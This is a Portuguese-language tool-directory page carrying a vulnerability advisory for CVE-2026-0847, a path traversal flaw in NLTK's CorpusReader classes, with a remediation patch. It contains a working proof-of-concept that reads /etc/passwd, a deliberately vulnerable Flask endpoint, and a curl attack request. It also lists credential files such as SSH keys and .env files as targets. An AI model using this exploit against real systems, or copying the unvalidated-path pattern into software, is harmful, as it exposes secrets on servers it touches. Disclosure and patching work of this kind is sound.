Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-0847 — Uma vulnerabilidade nas versões do NLTK até a 3.9.2 (inclusive) permite leitura arbitrária de arquivos via path traversal em várias classes CorpusReader, incluindo WordListCorpusReader, TaggedCorpusReader e BracketParseCorpusReader. | Kitploit
Ferramentas/GitHubGitHub/hyperps/cve-2026-0847
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoPapers e PesquisaAprendizado e Educação
GitHubhyperps/cve-2026-0847

CVE-2026-0847

Uma vulnerabilidade nas versões do NLTK até a 3.9.2 (inclusive) permite leitura arbitrária de arquivos via path traversal em várias classes CorpusReader, incluindo WordListCorpusReader, TaggedCorpusReader e BracketParseCorpusReader.

Ver Repositório
15há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-0847 — Classes Múltiplas CorpusReader do NLTK: Leitura Arbitrária de Arquivos via Path Traversal


Visão Geral

CampoDetalhes
ID CVECVE-2026-0847
Pacotenltk (Natural Language Toolkit)
RepositórioPyPI
Versões Afetadas<= 3.9.2
Tipo de VulnerabilidadeCWE-22: Path Traversal
Pontuação CVSS8.6 (Alta)
Vetor de AtaqueRede
Complexidade do AtaqueBaixa
Privilégios NecessáriosNenhum
Interação do UsuárioNenhuma
Impacto na ConfidencialidadeAlto
Impacto na IntegridadeBaixo
Impacto na DisponibilidadeBaixo
Reportado em4 de dezembro de 2025
CVE Publicado em4 de março de 2026
Suportado porPalo Alto Networks / Prisma AIRS
StatusCorrigido

Descrição

Várias classes CorpusReader na biblioteca NLTK aceitam argumentos de caminho de arquivo sem aplicar qualquer canonicalização de caminho, validação de lista de permissões ou restrições de sandbox. Quando um atacante controla o nome do arquivo do corpus ou a entrada de arquivo — um cenário comum em APIs de aprendizado de máquina, pipelines de PNL baseados em upload e serviços de chatbot — ele pode fornecer um caminho manipulado para percorrer a hierarquia de diretórios e ler arquivos arbitrários no servidor.

Esta vulnerabilidade é particularmente crítica em implantações em rede onde o NLTK processa caminhos de arquivo controlados pelo usuário, pois nenhuma autenticação ou privilégio é necessário para explorá-la.


Componentes Afetados

ClasseArquivoStatus
WordListCorpusReaderwordlist.py L1–L120Vulnerável
TaggedCorpusReadertagged.py L1–L140Vulnerável
BracketParseCorpusReaderbracket_parse.py L1–L150Vulnerável
Outras classes usando o mesmo padrão base—Aguardando auditoria mais ampla

Todas as três classes herdam o mesmo método inseguro CorpusReader.open(), que não realiza nenhuma restrição de caminho antes de resolver e ler o identificador de arquivo fornecido.


Impacto

A exploração bem-sucedida desta vulnerabilidade pode resultar em:

  • Leitura arbitrária de arquivos — Um atacante pode ler qualquer arquivo acessível ao processo executando NLTK, incluindo /etc/passwd, /etc/shadow e /var/log/auth.log
  • Exposição de credenciais e segredos — Chaves privadas SSH (~/.ssh/id_rsa), arquivos .env, tokens de API e arquivos de credenciais em nuvem podem ser extraídos
  • Divulgação de código-fonte e dados de treinamento — Dados de treinamento de outros usuários ou código-fonte de aplicativos proprietários podem ser lidos
  • Execução remota de código (encadeada) — Quando combinada com vulnerabilidades de desserialização pickle, a path traversal pode ser usada para carregar arquivos de modelo maliciosos e escalar para RCE completa
  • Movimentação lateral — Em ambientes de microsserviços, observou-se que segredos extraídos permitem movimentação lateral e comprometimento total do servidor

Prova de Conceito

Esta informação é fornecida apenas para fins educacionais e defensivos. Não teste em sistemas que você não possui ou para os quais não tem autorização explícita para testar.

Leitura Local de Arquivo via API Direta

# PoC.py — demonstrates arbitrary file read using three vulnerable CorpusReader classes

from nltk.corpus.reader import WordListCorpusReader, TaggedCorpusReader, BracketParseCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer

root = FileSystemPathPointer("/")   # unrestricted filesystem root
target = "etc/passwd"               # any sensitive file path

print("--- WordListCorpusReader ---")
reader1 = WordListCorpusReader(root, [target])
print(reader1.raw(target)[:200])

print("--- TaggedCorpusReader ---")
reader2 = TaggedCorpusReader(root, [target])
print(reader2.raw(target)[:200])

print("--- BracketParseCorpusReader ---")
reader3 = BracketParseCorpusReader(root, [target])
print(reader3.raw(target)[:200])

Saída (abreviada):

--- WordListCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

--- TaggedCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

--- BracketParseCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

Cenário de Exploração Remota — API Flask Vulnerável

Um cenário realista onde o NLTK é exposto por meio de uma API HTTP:

# Vulnerable API server
from flask import Flask, request
from nltk.corpus.reader import WordListCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer

app = Flask(__name__)
root = FileSystemPathPointer("/")

@app.post("/read")
def read_file():
    filename = request.json.get("file")
    reader = WordListCorpusReader(root, [filename])
    return reader.raw(filename)

app.run("0.0.0.0", 8000)

Requisição do atacante:

curl -X POST http://TARGET:8000/read \
     -H "Content-Type: application/json" \
     -d '{"file": "etc/passwd"}'

Resultado: Conteúdo completo de /etc/passwd retornado ao atacante sem autenticação necessária.


Causa Raiz

A vulnerabilidade origina-se em CorpusReader.open(). O método resolve o fileid fornecido diretamente contra o caminho raiz configurado usando FileSystemPathPointer.join() sem realizar nenhuma das seguintes verificações:

  • Rejeição de caminho absoluto
  • Detecção de travessia de diretório pai (..)
  • Normalização de caminho e comparação para impor confinamento dentro da raiz do corpus

Como FileSystemPathPointer pode ser inicializado com /, um atacante que controla o argumento do nome do arquivo tem acesso de leitura irrestrito a todo o sistema de arquivos.


Correção Sugerida

Correção mínima proposta pelo pesquisador, a ser aplicada dentro de CorpusReader.open():

import os

normalized = fileid.replace("\\", "/")

# Block absolute paths
if os.path.isabs(normalized):
    raise ValueError("Absolute paths are not permitted.")

# Block directory traversal sequences
if ".." in normalized.split("/"):
    raise ValueError("Path traversal sequences are not permitted.")

# Enforce confinement within corpus root
joined = self._root.join(normalized)
if not os.path.normpath(joined._path).startswith(
    os.path.normpath(self._root._path)
):
    raise ValueError("Path escapes the corpus root directory.")

O PR de correção upstream está disponível em: https://github.com/nltk/nltk/pull/3479


Remediação

Baixar ferramenta